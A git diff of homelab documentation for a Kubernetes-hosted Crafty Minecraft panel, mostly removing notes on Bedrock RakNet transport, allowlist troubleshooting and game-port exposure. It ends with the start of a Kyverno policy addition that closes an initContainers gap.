| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
|
||||||
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
|
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
|
||||||
|
|
||||||
### fsGroup / user decision (the seerr lesson, applied)
|
### fsGroup / user decision (the seerr lesson, applied)
|
||||||
@@ -76,16 +76,15 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
|
|||||||
## Game-port L4 exposure
|
## Game-port L4 exposure
|
||||||
|
|
||||||
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
|
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
|
||||||
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
|
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
|
||||||
`192.168.2.22`**)
|
|
||||||
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
|
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
|
||||||
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
|
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
|
||||||
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
|
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
|
||||||
|
|
||||||
### Adding more game ports (when the operator creates servers)
|
### Adding more game ports (when the operator creates servers)
|
||||||
|
|
||||||
As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
|
The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
|
||||||
Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
|
add capacity:
|
||||||
|
|
||||||
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
|
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
|
||||||
2. Add that port to the matching Service in `service-l4.yaml` (one
|
2. Add that port to the matching Service in `service-l4.yaml` (one
|
||||||
@@ -94,274 +93,6 @@ Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots.
|
|||||||
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
|
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
|
||||||
5. Commit → Flux reconciles.
|
5. Commit → Flux reconciles.
|
||||||
|
|
||||||
### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
|
|
||||||
|
|
||||||
Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
|
|
||||||
As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
|
|
||||||
off-cluster. Read both traps before changing anything.
|
|
||||||
|
|
||||||
#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
|
|
||||||
|
|
||||||
Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
|
|
||||||
`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
|
|
||||||
|
|
||||||
- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
|
|
||||||
bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
|
|
||||||
- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
|
|
||||||
vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
|
|
||||||
single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
|
|
||||||
negotiates a UDP connection with each client that carries the gameplay traffic."*
|
|
||||||
- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
|
|
||||||
exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
|
|
||||||
`crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
|
|
||||||
at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
|
|
||||||
agrees: `Total Received: 0, 0B` over 2293 s.
|
|
||||||
- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
|
|
||||||
its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
|
|
||||||
app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
|
|
||||||
every ~5 s — **155 such lines** — against a server it had started successfully.
|
|
||||||
|
|
||||||
#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
|
|
||||||
|
|
||||||
The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
|
|
||||||
/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
|
|
||||||
printed, at ERROR level:
|
|
||||||
|
|
||||||
```
|
|
||||||
[ERROR] ================ TRANSPORT TYPE ERROR ===================
|
|
||||||
[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
|
|
||||||
supported transport type.
|
|
||||||
[ERROR] Players will not be able to connect to your game without NetherNet.
|
|
||||||
[ERROR] To switch, set 'transport=nethernet' in server.properties.
|
|
||||||
```
|
|
||||||
|
|
||||||
**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
|
|
||||||
about connectivity was false on this cluster within five seconds of it being printed:
|
|
||||||
|
|
||||||
- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
|
|
||||||
`/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
|
|
||||||
by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
|
|
||||||
on `4ABC` is **gone**.
|
|
||||||
- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
|
|
||||||
`Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
|
|
||||||
load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
|
|
||||||
`TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
|
|
||||||
`0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
|
|
||||||
- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
|
|
||||||
`192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
|
|
||||||
|
|
||||||
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
|
|
||||||
|
|
||||||
Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
|
|
||||||
server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
|
|
||||||
- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
|
|
||||||
documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
|
|
||||||
transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
|
|
||||||
clients connect to that address and port."* RakNet is also still fully compiled into the binary —
|
|
||||||
`strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
|
|
||||||
vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
|
|
||||||
|
|
||||||
So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
|
|
||||||
statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
|
|
||||||
deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
|
|
||||||
the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
|
|
||||||
|
|
||||||
> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
|
|
||||||
> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
|
|
||||||
> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
|
|
||||||
> server is or is not reachable, it is because someone pinged it — not because a comment said so.
|
|
||||||
|
|
||||||
#### The steady-state `too few fields` warning is benign and is now the expected signature
|
|
||||||
|
|
||||||
Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
|
|
||||||
~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
|
|
||||||
Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
|
|
||||||
terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
|
|
||||||
one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
|
|
||||||
name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
|
|
||||||
warning.** The failure signature is the *other* message, `Got timeout`.
|
|
||||||
|
|
||||||
### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
|
|
||||||
|
|
||||||
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
|
|
||||||
an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
|
|
||||||
configuration. Measured:
|
|
||||||
|
|
||||||
| Property / file | Value | Source |
|
|
||||||
|---|---|---|
|
|
||||||
| `allow-list` | **`true`** (line 37) | `server.properties` |
|
|
||||||
| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
|
|
||||||
| `online-mode` | `true` (line 31) | `server.properties` |
|
|
||||||
| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
|
|
||||||
| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
|
|
||||||
| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
|
|
||||||
|
|
||||||
**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
|
|
||||||
`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
|
|
||||||
then the server will only allow selected users to connect. To allow a user to connect you need to know
|
|
||||||
their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
|
|
||||||
transport problem, and not a platform problem — and no amount of Service or policy work will change it.
|
|
||||||
|
|
||||||
#### CONFIRMED: one gamertag added, and a player joined
|
|
||||||
|
|
||||||
**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
|
|
||||||
**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
|
|
||||||
connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
|
|
||||||
|
|
||||||
- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
|
|
||||||
(`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
|
|
||||||
`xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
|
|
||||||
**connects**."* The operator wrote only the name — `audit.log` records `Edited file
|
|
||||||
…/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
|
|
||||||
That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
|
|
||||||
both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
|
|
||||||
- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
|
|
||||||
22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
|
|
||||||
the new pid.
|
|
||||||
|
|
||||||
**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
|
|
||||||
else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
|
|
||||||
**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
|
|
||||||
gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
|
|
||||||
manifest change, and no network change was involved in the fix.
|
|
||||||
|
|
||||||
> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
|
|
||||||
> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
|
|
||||||
> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
|
|
||||||
> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
|
|
||||||
|
|
||||||
**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
|
|
||||||
server required the client to reach our server and get an answer back. The only listener on 19132 is
|
|
||||||
the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
|
|
||||||
signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
|
|
||||||
arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
|
|
||||||
inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
|
|
||||||
absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
|
|
||||||
captured: the actual player flow — see the caveat below.)*
|
|
||||||
|
|
||||||
#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
|
|
||||||
|
|
||||||
`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
|
|
||||||
**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
|
|
||||||
only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
|
|
||||||
crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
|
|
||||||
denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
|
|
||||||
Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
|
|
||||||
UNVERIFIED, and only observable in the UI.
|
|
||||||
|
|
||||||
#### How a Bedrock player actually gets authorized here
|
|
||||||
|
|
||||||
Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
|
|
||||||
gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
|
|
||||||
gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
|
|
||||||
`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
|
|
||||||
group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
|
|
||||||
which protects only the web panel.
|
|
||||||
|
|
||||||
Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
|
|
||||||
that produced the confirmed join above:
|
|
||||||
|
|
||||||
1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
|
|
||||||
`allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
|
|
||||||
This writes `allowlist.json` **and** takes effect immediately, with no restart.
|
|
||||||
2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
|
|
||||||
`allowlist reload` in the console — *"After you've modified the file you need to run the command
|
|
||||||
`allowlist reload` to make sure that the server knows about your new change."* Shape:
|
|
||||||
|
|
||||||
```json
|
|
||||||
[
|
|
||||||
{ "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
|
|
||||||
{ "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
|
|
||||||
`allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
|
|
||||||
value in the server.properties file"*, so a console `off` silently reverts on the next start.
|
|
||||||
**Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
|
|
||||||
exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
|
|
||||||
players.
|
|
||||||
|
|
||||||
> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
|
|
||||||
> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
|
|
||||||
>
|
|
||||||
> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
|
|
||||||
> kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
|
|
||||||
> entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
|
|
||||||
> server simply **does not come back** until someone starts it by hand.
|
|
||||||
> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
|
|
||||||
> `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
|
|
||||||
> refused). Neither change announces itself, and the server will look healthy and started in the panel
|
|
||||||
> while being unreachable *and* unjoinable.
|
|
||||||
>
|
|
||||||
> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
|
|
||||||
> recreate or BDS update.**
|
|
||||||
|
|
||||||
#### Why this does not change the transport recommendation
|
|
||||||
|
|
||||||
`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
|
|
||||||
end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
|
|
||||||
orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
|
|
||||||
to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
|
|
||||||
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
|
|
||||||
and option 1 is now settled rather than provisional.
|
|
||||||
|
|
||||||
#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
|
|
||||||
|
|
||||||
No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
|
|
||||||
`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
|
|
||||||
has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
|
|
||||||
that would have required manifest work are all **not recommended**:
|
|
||||||
|
|
||||||
| Option | Manifest consequence | Verdict |
|
|
||||||
|---|---|---|
|
|
||||||
| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
|
|
||||||
| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
|
|
||||||
| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
|
|
||||||
| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
|
|
||||||
| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
|
|
||||||
|
|
||||||
#### If RakNet is ever really removed
|
|
||||||
|
|
||||||
Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
|
|
||||||
a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
|
|
||||||
server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
|
|
||||||
`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
|
|
||||||
`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
|
|
||||||
world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
|
|
||||||
is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
|
|
||||||
is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
|
|
||||||
`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
|
|
||||||
Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
|
|
||||||
Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
|
|
||||||
Bedrock client version in use before committing.
|
|
||||||
|
|
||||||
### Bedrock realities that are NOT platform defects but present identically
|
|
||||||
|
|
||||||
- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
|
|
||||||
inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
|
|
||||||
will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
|
|
||||||
address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
|
|
||||||
`external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
|
|
||||||
is correct for Bedrock too — only the port differs from Java's 25565.
|
|
||||||
- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
|
|
||||||
arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
|
|
||||||
redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
|
|
||||||
- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
|
|
||||||
OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
|
|
||||||
ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
|
|
||||||
`bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
|
|
||||||
`192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
|
|
||||||
server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
|
|
||||||
server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
|
|
||||||
after the first; LAN discovery cannot work here anyway (above).
|
|
||||||
- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
|
|
||||||
`service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
|
|
||||||
`server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
|
|
||||||
the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
|
|
||||||
`19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
|
|
||||||
previously said.
|
|
||||||
|
|
||||||
## Policies
|
## Policies
|
||||||
|
|
||||||
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
|
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
|
||||||
@@ -383,48 +114,14 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
|
|||||||
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
|
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
|
||||||
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
|
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
|
||||||
`/crafty/app/config` and `/crafty/servers` without EACCES.
|
`/crafty/app/config` and `/crafty/servers` without EACCES.
|
||||||
3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
|
3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
|
||||||
start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
|
connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
|
||||||
`192.168.2.22:25565`) from the LAN and confirm the world loads.
|
from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
|
||||||
4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
|
|
||||||
Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
|
|
||||||
failure signature:
|
|
||||||
|
|
||||||
1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
|
|
||||||
**no UDP listener at all**.
|
|
||||||
2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
|
|
||||||
`nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
|
|
||||||
3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
|
|
||||||
packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
|
|
||||||
4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
|
|
||||||
`allowlist.json == []` refuses **every** player with *"You are not invited to play on this
|
|
||||||
server"* while the server is otherwise perfectly reachable. In the panel console:
|
|
||||||
`allowlist add <Gamertag>`.
|
|
||||||
5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
|
|
||||||
`19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
|
|
||||||
|
|
||||||
**Two log messages appear on a fully working server and must be ignored:** BDS's
|
|
||||||
`================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
|
|
||||||
Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
|
|
||||||
chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
|
|
||||||
issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
|
|
||||||
|
|
||||||
## Runtime state: the servers themselves are NOT in git
|
## Runtime state: the servers themselves are NOT in git
|
||||||
|
|
||||||
As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
|
As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
|
||||||
|
on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
|
||||||
| Name | Type | Port | UUID | `auto_start` |
|
|
||||||
|---|---|---|---|---|
|
|
||||||
| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
|
|
||||||
| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
|
|
||||||
|
|
||||||
`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
|
|
||||||
`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
|
|
||||||
create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
|
|
||||||
come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
|
|
||||||
(`strategy: Recreate`). PATCH both to true and read them back.
|
|
||||||
|
|
||||||
`homelab` was created through Crafty's v2 API, and **Mojang's
|
|
||||||
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
|
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
|
||||||
DECISIONS-LOG entry of that date.
|
DECISIONS-LOG entry of that date.
|
||||||
|
|
||||||
@@ -435,10 +132,6 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
|
|||||||
heap sizes, `auto_start` / `crash_detection`.
|
heap sizes, `auto_start` / `crash_detection`.
|
||||||
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
|
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
|
||||||
**the generated world**. The jar is re-downloadable; the world is not.
|
**the generated world**. The jar is re-downloadable; the world is not.
|
||||||
**`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
|
|
||||||
*the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
|
|
||||||
Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
|
|
||||||
"nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
|
|
||||||
|
|
||||||
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
|
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
|
||||||
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
|
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
|
||||||
|
|||||||
@@ -142,3 +142,236 @@ spec:
|
|||||||
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||||
operator: Equals
|
operator: Equals
|
||||||
value: false
|
value: false
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
||||||
|
#
|
||||||
|
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||||
|
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
||||||
|
